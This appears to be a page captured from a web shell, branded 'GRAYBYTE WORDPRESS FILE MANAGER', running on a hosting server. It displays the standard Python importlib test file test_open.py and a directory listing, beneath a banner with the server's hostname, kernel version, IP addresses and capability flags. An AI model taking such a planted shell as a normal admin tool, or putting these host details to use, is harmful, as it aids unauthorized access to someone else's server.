✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python37/lib64/python3.7/test/test_importlib//test_open.py
import unittest

from importlib import resources
from . import data01
from . import util


class CommonBinaryTests(util.CommonResourceTests, unittest.TestCase):
    def execute(self, package, path):
        with resources.open_binary(package, path):
            pass


class CommonTextTests(util.CommonResourceTests, unittest.TestCase):
    def execute(self, package, path):
        with resources.open_text(package, path):
            pass


class OpenTests:
    def test_open_binary(self):
        with resources.open_binary(self.data, 'binary.file') as fp:
            result = fp.read()
            self.assertEqual(result, b'\x00\x01\x02\x03')

    def test_open_text_default_encoding(self):
        with resources.open_text(self.data, 'utf-8.file') as fp:
            result = fp.read()
            self.assertEqual(result, 'Hello, UTF-8 world!\n')

    def test_open_text_given_encoding(self):
        with resources.open_text(
                self.data, 'utf-16.file', 'utf-16', 'strict') as fp:
            result = fp.read()
        self.assertEqual(result, 'Hello, UTF-16 world!\n')

    def test_open_text_with_errors(self):
        # Raises UnicodeError without the 'errors' argument.
        with resources.open_text(
                self.data, 'utf-16.file', 'utf-8', 'strict') as fp:
            self.assertRaises(UnicodeError, fp.read)
        with resources.open_text(
                self.data, 'utf-16.file', 'utf-8', 'ignore') as fp:
            result = fp.read()
        self.assertEqual(
            result,
            'H\x00e\x00l\x00l\x00o\x00,\x00 '
            '\x00U\x00T\x00F\x00-\x001\x006\x00 '
            '\x00w\x00o\x00r\x00l\x00d\x00!\x00\n\x00')

    def test_open_binary_FileNotFoundError(self):
        self.assertRaises(
            FileNotFoundError,
            resources.open_binary, self.data, 'does-not-exist')

    def test_open_text_FileNotFoundError(self):
        self.assertRaises(
            FileNotFoundError,
            resources.open_text, self.data, 'does-not-exist')


class OpenDiskTests(OpenTests, unittest.TestCase):
    def setUp(self):
        self.data = data01


class OpenZipTests(OpenTests, util.ZipSetup, unittest.TestCase):
    pass


if __name__ == '__main__':
    unittest.main()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.42 AM
root / linksafe
0755
__pycache__
--
25 Jul 2024 8.42 AM
root / linksafe
0755
builtin
--
25 Jul 2024 8.42 AM
root / linksafe
0755
data01
--
25 Jul 2024 8.42 AM
root / linksafe
0755
data02
--
25 Jul 2024 8.42 AM
root / linksafe
0755
data03
--
25 Jul 2024 8.42 AM
root / linksafe
0755
extension
--
25 Jul 2024 8.42 AM
root / linksafe
0755
frozen
--
25 Jul 2024 8.42 AM
root / linksafe
0755
import_
--
25 Jul 2024 8.42 AM
root / linksafe
0755
namespace_pkgs
--
25 Jul 2024 8.42 AM
root / linksafe
0755
source
--
25 Jul 2024 8.42 AM
root / linksafe
0755
zipdata01
--
25 Jul 2024 8.42 AM
root / linksafe
0755
zipdata02
--
25 Jul 2024 8.42 AM
root / linksafe
0755
__init__.py
0.139 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
__main__.py
0.057 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
abc.py
2.219 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_abc.py
33.036 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_api.py
18.362 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_lazy.py
4.813 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_locks.py
4.566 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_namespace_pkgs.py
10.373 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_open.py
2.199 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_path.py
1.148 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_read.py
1.985 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_resource.py
6.097 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_spec.py
29.783 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_util.py
30.886 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
test_windows.py
3.835 KB
17 Apr 2024 5.36 PM
root / linksafe
0644
util.py
17.785 KB
17 Apr 2024 5.36 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF